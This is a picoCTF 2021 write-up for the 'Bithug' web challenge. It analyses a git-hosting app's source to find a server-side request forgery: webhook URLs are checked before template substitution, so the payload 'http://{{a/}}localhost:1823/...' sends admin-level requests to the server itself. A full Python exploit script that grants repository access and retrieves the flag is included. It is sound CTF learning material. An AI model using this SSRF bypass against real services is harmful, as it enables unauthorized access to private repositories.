This is a writeup for Bithug, a picoCTF 2021 challenge I completed with aplet123. We—that is, aplet123 and I—wrote this writeup together and I have stolen it without permission.

Code management software is way too bloated. Try our new lightweight solution, BitHug.

Gathering Information

For this challenge, the source is provided: distribution.tgz.

After uncompressing, we can see that the web application has the following structure:

app
├── client
│   ├── index.html
│   ├── package.json
│   ├── src
│   │   ├── client
│   │   │   └── index.ts
│   │   ├── components
│   │   │   ├── app
│   │   │   │   └── index.tsx
│   │   │   ├── auth
│   │   │   │   ├── index.scss
│   │   │   │   ├── index.tsx
│   │   │   │   ├── login.tsx
│   │   │   │   └── register.tsx
│   │   │   ├── history.tsx
│   │   │   ├── home
│   │   │   │   ├── index.scss
│   │   │   │   └── index.tsx
│   │   │   ├── icon
│   │   │   │   ├── index.scss
│   │   │   │   └── index.tsx
│   │   │   ├── logo
│   │   │   │   ├── index.scss
│   │   │   │   └── index.tsx
│   │   │   ├── nav
│   │   │   │   ├── index.scss
│   │   │   │   └── index.tsx
│   │   │   ├── new-repo
│   │   │   │   ├── index.scss
│   │   │   │   └── index.tsx
│   │   │   ├── repo
│   │   │   │   ├── blob.tsx
│   │   │   │   ├── index.scss
│   │   │   │   ├── index.tsx
│   │   │   │   ├── repo-content.tsx
│   │   │   │   ├── repo-no-content.tsx
│   │   │   │   ├── repo-settings.tsx
│   │   │   │   ├── repo-users.tsx
│   │   │   │   ├── tree.tsx
│   │   │   │   ├── utils.tsx
│   │   │   │   └── webhook.tsx
│   │   │   └── repo-list
│   │   │       ├── index.scss
│   │   │       ├── index.tsx
│   │   │       └── repo-list-item.tsx
│   │   ├── index.scss
│   │   ├── index.tsx
│   │   └── providers
│   │       ├── repo-provider.tsx
│   │       └── user-provider.tsx
│   ├── tsconfig.json
│   ├── webpack.config.js
│   └── yarn.lock
├── Dockerfile
├── package.json
├── README.md
├── server
│   ├── package.json
│   ├── src
│   │   ├── auth-api.ts
│   │   ├── auth.ts
│   │   ├── git-api.ts
│   │   ├── git.ts
│   │   ├── index.ts
│   │   ├── static-api.ts
│   │   ├── utils.ts
│   │   ├── web-api.ts
│   │   └── webhooks.ts
│   └── tsconfig.json
├── tsconfig.json
└── yarn.lock

Since this app is relatively large, we need to know where to focus. We first gain a general sense of what is going on. As the name suggests, app/client/ contains everything that the client displays and does. The directory app/server/, on the other hand, contains everything the server does.

We know that the vulnerability we want to find is on the server—there is no mechanism for grading client-side web vulnerabilities in this challenge. Thus, we focus only on this directory, specifically the contents of app/server/src/.

index.ts

We take a look at index.ts, which is traditionally run first. Express is the web application framework used, and some routes are declared in the function main:

import express, { NextFunction, Response, Request } from "express";
import cookieParser from "cookie-parser";
import "express-async-errors";

import gitRouter from "./git-api";
import authRouter from "./auth-api";
import webRouter from "./web-api";
import staticRouter from "./static-api";
import { GitManager } from "./git";
import { User } from "./auth";
    const app = express();

    app.use(cookieParser());
    app.use("/", authRouter);
    app.use("/", (req, res, next) => {
    console.log(req.user, req.method, req.url, req.query);
    next();
    });

    app.use("/", webRouter);
    app.use("/", gitRouter);
    app.use("/", staticRouter);

From this, we can get an idea of what the app does. First, it authenticates users with authRouter, then handles web api routes in webRouter, git api routes in gitRouter, and finally static routes in staticRouter. Since staticRouter is likely not particularly relevant, we focus on the first three.

auth-api.ts

router.use("/", async (req, res, next) => {
    const token = req.cookies["user-token"];
    if (typeof token === "string") {
        const user = await authManager.userFromToken(token);
        if (user) {
            req.user = { kind: "user", user };
            return next();
        }
    }

    const authHeader = req.header("authorization");
    if (authHeader && authHeader.toLowerCase().startsWith("basic")) {
        const [user, password] = Buffer.from(authHeader.slice(6), "base64").toString().split(":");
        if (await authManager.login(user, password)) {
            req.user = { kind: "user", user };
            return next();
        }
    }

    const sourceIp = req.socket.remoteAddress;
    if (sourceIp === "127.0.0.1" || sourceIp === "::1" || sourceIp === "::ffff:127.0.0.1") {
        req.user = { kind: "admin" };
        return next();
    }

    req.user = { kind: "none" };
    return next();
});

Since the path we match is /, this authentication happens on every request. First, the cookies (parsed by the cookie-parser middleware) are checked.

If these cookies do not belong to a user, the application proceeds to check the authorization header of the request for the username and password encoded in base64.

Lastly, if these credentials do not exist or are invalid, the application checks for the requests origin; if it is 127.0.0.1 or some variation of this loopback address, the user is treated as an admin.

Already, we can continue with a goal of SSRF in mind: if we can coerce the server into sending itself a request, we will have some degree of admin control.

web-api.ts

In this module, we see a number of api routes; there is one that tells us exactly where the flag is.

router.post("/api/register", async (req, res) => {
    const { user, password } = req.body;
    if (typeof user !== "string"
        || !user.match(/^[a-zA-Z0-9-_]{3,}$/)
        || typeof password !== "string"
    ) {
        return res.status(400).send({ error: "Invalid username"});
    }

    await authManager.register(user, password);
    const token = await authManager.createToken(user);
    res.cookie("user-token", token);

    // Every user gets their own target to attack. Please do not try to
    // attack someone else's target.
    const targetRepo = new GitManager(`_/${user}.git`);
    await targetRepo.create();
    await targetRepo.initializeReadme(`
## Super Secret Admin Repo

The flag is \`${process.env.FLAG ?? "picoCTF{this_is_a_test_flag}"}\`
`);
    return res.send({});
});

We see that on registration of a user, a repo is created at _/[username].git. In this repo is a readme with the flag.

git-api.ts

This file contains a ton of routes, and it is worth looking through all of them, but a few specific ones do stand out.

At /:user/:repo.git, we have the following:

const potentialRepo = new GitManager(`${repoOwner}/${repo}.git`);
if (!await potentialRepo.exists()) {
    return res.status(404).end();
}

if (user.kind === "admin" || user.user === repoOwner) {
    req.git = potentialRepo
    return next();
}

const configBlob = await potentialRepo.getAccessConfig();
if (!configBlob) {
    return res.status(404).end();
}

const foundUser = configBlob.split("\n").find((name) => name === user.user);
if (!foundUser) {
    return res.status(404).end();
}

req.git = potentialRepo;
return next();

Essentially, this route sets req.git to a GitManager object if the corresponding repository should be accessed by the requesting user. We see three conditions under which this happens:

  1. The requesting user is an admin
  2. The requesting user owns the repository
  3. The requesting user is in the repository’s access config

We also see the following for requests to /:user/:repo.git/webhooks:

router.use("/:user/:repo.git/webhooks", bodyParser.json());
router.get("/:user/:repo.git/webhooks", async (req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.send({ webhooks: [] });
    }
    const webhooks = await webhookManager.getWebhooksForUser(req.git.repo, req.user.user);
    return res.send(webhooks.map(
        (webhook): SerializedWebhook => ({ ...webhook, body: webhook.body.toString("base64") }))
    );
});
router.post("/:user/:repo.git/webhooks", async (req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.status(400).end();
    }

    const { url, body, contentType } = req.body;
    const validationUrl = new URL(url);
    if (validationUrl.port !== "" && validationUrl.port !== "80") {
        throw new Error("Url must go to port 80");
    }
    if (validationUrl.host === "localhost" || validationUrl.host === "127.0.0.1") {
        throw new Error("Url must not go to localhost");
    }

    if (typeof contentType !== "string" || typeof body !== "string") {
        throw new Error("Bad arguments");
    }
    const trueBody = Buffer.from(body, "base64");

    await webhookManager.addWebhook(req.git.repo, req.user.user, url, contentType, trueBody);
    return res.send({});
});
router.delete("/:user/:repo.git/webhooks", async(req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.status(400).end();
    }

    const { uid } = req.body;
    if (typeof uid !== "string") {
        throw new Error("Bad arguments");
    }

    await webhookManager.deleteWebhook(req.git.repo, req.user.user, uid);
    return res.send({});
})

Essentially, we have the ability to get, create, and delete webhooks. Combined with the knowledge from earlier, this should raise an immediate red flag: our goal is to make a request from the server to itself, and webhooks cause the server to make a request. If we can get the webhook to be the server itself, then we can get admin access.

We can also see where the webhook is used:

router.use("/:user/:repo.git/git-receive-pack", bodyParser.raw({ type: "application/x-git-receive-pack-request", limit: "10mb" }))
router.post("/:user/:repo.git/git-receive-pack", async (req, res) => {
    const ref = await req.git.receivePackPost(res, req.body);
    const webhooks = await webhookManager.getWebhooksForRepo(req.git.repo);
    const options = {
        ref,
        branch: ref.startsWith("refs/heads/") ? ref.slice("refs/heads/".length) : undefined,
        user: req.user.kind === "user" ? req.user.user : undefined,
        repo: req.git.repo,
    };

    for (let webhook of webhooks) {
        const url =  formatString(webhook.url, options);
        try {
            const body = Buffer.from(formatString(webhook.body.toString("latin1"), options), "latin1");
            await fetch(url, {
                method: "POST",
                headers: {
                    "Content-Type": webhook.contentType,
                },
                body,
            });
        } catch (e) {
            console.warn("Failed to push webhook", url, e);
        }
    }
});

git-receive-pack is the endpoint for when the server receives a push, and we can see that it dispatches a request to all of the webhooks. Something interesting is that it calls formatString on both the body and the url. formatString is defined in utils.ts:

export const formatString = (data: string, options: Record<string, string | undefined>) => {
    return data.replace(/\{\{[^\}]+\}\}/g, (match) => {
        const option = match.slice(2, -2);
        return options[option] ?? "";
    })
}

Exploitation Idea

From earlier, there are a few key pieces of information that we can use to form a plan for getting the flag.

  1. For each user that signs up, the flag can be found in README.md in the repo _/[username].git.
  2. Any request from localhost behaves as if from an administrator. Administrators have read and write access to all repositories.
  3. Webhooks provide a mechanism for sending arbitrary HTTP POST requests.
  4. Repositories contain an access config file that can grant other users access.

Because of how the webhooks work, the response to their requests can’t be seen. We can, however, attempt to use a webhook (which originate from localhost) to modify a repository and create an access config file that gives a different account access. Unfortunately, there is a problem with this approach: webhook URLs have allowlisted ports and denylisted hosts preventing us from making the requests we want.

Solution

A key observation is that the URL we provide to a webhook is modified just before requests are sent: specifically, they are formatted with the formatString function in utils.ts. The output is not checked against the same allowlist and denylist.

export const formatString = (data: string, options: Record<string, string | undefined>) => {
    return data.replace(/\{\{[^\}]+\}\}/g, (match) => {
        const option = match.slice(2, -2);
        return options[option] ?? "";
    })
}

This function takes a string, and with the help of a regular expression, replaces instances of {{prop}} with options[prop]. Note that the fourth line guarentees that if the options object does not contain the property provided, the template is replaced with an empty string. This means that a string like "text{{objectDoesNotContainThisProp}}text" becomes texttext.

In order to add the config file to the desired repository, we want to send a POST request to http://localhost:1823/_/[username].git/git-receive-pack. In order to register this webhook, we can use templates to modify the URL such that the host and port are allowed. The URL parser stops looking for the host after a /, so we can simply do the following:

http://{{a/}}localhost:1823/_/[username].git/git-receive-pack`

Though to the URL parser this appears to have host a and no port provided, it becomes the target we want after templating replaces {{a/}} with an empty string.

Now, we have to come up with a suitable body for the POST request. The body should push an access.conf file with our username to refs/meta/config on the server. Instead of researching git’s HTTP spec in order to craft such a payload, we can just manually make the commit, force push it (if it’s not a force push it’ll error), then record the POST body and use that to send to the server.

import requests
import base64
import subprocess
import random
import shutil
import re
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
 
 
def b64_str(s):
    if isinstance(s, str):
        s = s.encode("utf8")
    return base64.b64encode(s).decode("utf8")
 
 
def run_cmd(*args, log_error=True, **kwargs):
    proc = subprocess.run(
        *args,
        **{
            "stdout": subprocess.PIPE,
            "stderr": subprocess.PIPE,
            "cwd": "/tmp",
            **kwargs,
        },
    )
    if log_error and proc.returncode != 0:
        print(proc.stderr)
    return proc
 
 
def commit_file(repo, file, contents):
    with open(f"{repo}/{file}", "w") as f:
        f.write(contents)
    run_cmd(["git", "add", "-A"], cwd=repo)
    run_cmd(["git", "commit", "-m", "im so random lol"], cwd=repo)
 
 
s = requests.Session()
 
# replace this with your instance (e.g. venus.picoctf.net:12345
host = "127.0.0.1:8080"
url = "http://" + host
username = "omgdan"
password = "danorz"
reponame = "pepega"
 
localport = 61337
localrepo = "foo.git"
localaddr = f"http://127.0.0.1:{localport}/{localrepo}"
 
print("recording git payload...")
print("  making new repo...")
shutil.rmtree("/tmp/fakerepo", ignore_errors=True)
run_cmd(["git", "init", "/tmp/fakerepo"])
print("  comitting access.conf...")
init_refs = run_cmd(
    ["git", "receive-pack", "--advertise-refs", "."], cwd="/tmp/fakerepo"
).stdout
run_cmd(["git", "checkout", "--orphan", "pepega"], cwd="/tmp/fakerepo")
commit_file("/tmp/fakerepo", "access.conf", username + "\n")
run_cmd(["git", "remote", "add", "origin", localaddr], cwd="/tmp/fakerepo")
 
 
class RecordHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if "info/refs" in self.path:
            self.send_response(200)
            self.send_header(
                "Content-Type", "application/x-git-receive-pack-advertisement"
            )
            self.end_headers()
            response = b"001f# service=git-receive-pack\n0000" + init_refs
            self.wfile.write(response)
 
    def do_POST(self):
        global payload
        # shutdown needs to be in a separate thread for whatever reason -_-
        def close():
            self.server.server_close()
            self.server.shutdown()
 
        length = int(self.headers.get("Content-Length", "0"))
        payload = self.rfile.read(length)
        thread = Thread(target=close)
        self.send_response(200)
        self.end_headers()
        thread.start()
 
    def log_message(self, format, *args):
        return
 
 
server = HTTPServer(("127.0.0.1", localport), RecordHandler)
server_thread = Thread(target=server.serve_forever)
print("  starting recording server...")
server_thread.start()
print("  pushing repo...")
run_cmd(
    ["git", "push", "--force", "origin", "@:refs/meta/config"],
    cwd="/tmp/fakerepo",
    log_error=False,
)
print("  waiting for server to shutdown...")
server_thread.join()
 
# register account
print("registering...")
r = s.post(url + "/api/register", json={"user": username, "password": password})
 
# if account exists, log in
if r.status_code == 500 and "User already exists" in r.text:
    print("account already exists, logging in...")
    r = s.post(url + "/api/login", json={"user": username, "password": password})
 
assert r.status_code == 200
 
# make repo
print("creating repo...")
r = s.post(url + "/api/repo/create", json={"name": reponame, "initializeReadme": True})
 
assert r.status_code == 200
 
# delete webhooks
print("deleting webhooks...")
r = s.get(url + f"/{username}/{reponame}.git/webhooks")
for hook in r.json():
    r = s.delete(
        url + f"/{username}/{reponame}.git/webhooks", json={"uid": hook["uid"]}
    )
    assert r.status_code == 200
 
# register webhook
print("creating webhook...")
r = s.post(
    url + f"/{username}/{reponame}.git/webhooks",
    json={
        "url": "http://{{a/}}" + f"localhost:1823/_/{username}.git/git-receive-pack",
        "body": b64_str(payload),
        "contentType": "application/x-git-receive-pack-request",
    },
)
 
# trigger webhook
print("triggering POST...")
print("  setting git creds...")
run_cmd(["git", "config", "--global", "user.name", username])
run_cmd(["git", "config", "--global", "user.email", "nunya@busi.ness"])
 
print("  cloning repo...")
shutil.rmtree("/tmp/therepo", ignore_errors=True)
run_cmd(
    [
        "git",
        "clone",
        f"http://{username}:{password}@{host}/{username}/{reponame}.git",
        "therepo",
    ]
)
 
print("  committing random data...")
commit_file("/tmp/therepo", "random.txt", str(random.random()))
 
print("  pushing to repo...")
run_cmd(["git", "push"], cwd="/tmp/therepo")
 
print("getting flag...")
shutil.rmtree("/tmp/flagrepo", ignore_errors=True)
run_cmd(
    [
        "git",
        "clone",
        f"http://{username}:{password}@{host}/_/{username}.git",
        "flagrepo",
    ]
)
 
try:
    with open("/tmp/flagrepo/README.md", "r") as f:
        contents = f.read()
        flag = re.search(r"(picoCTF\{.+\})", contents).group(0)
        print(f"flag: {flag}")
except FileNotFoundError:
    print("no flag :(")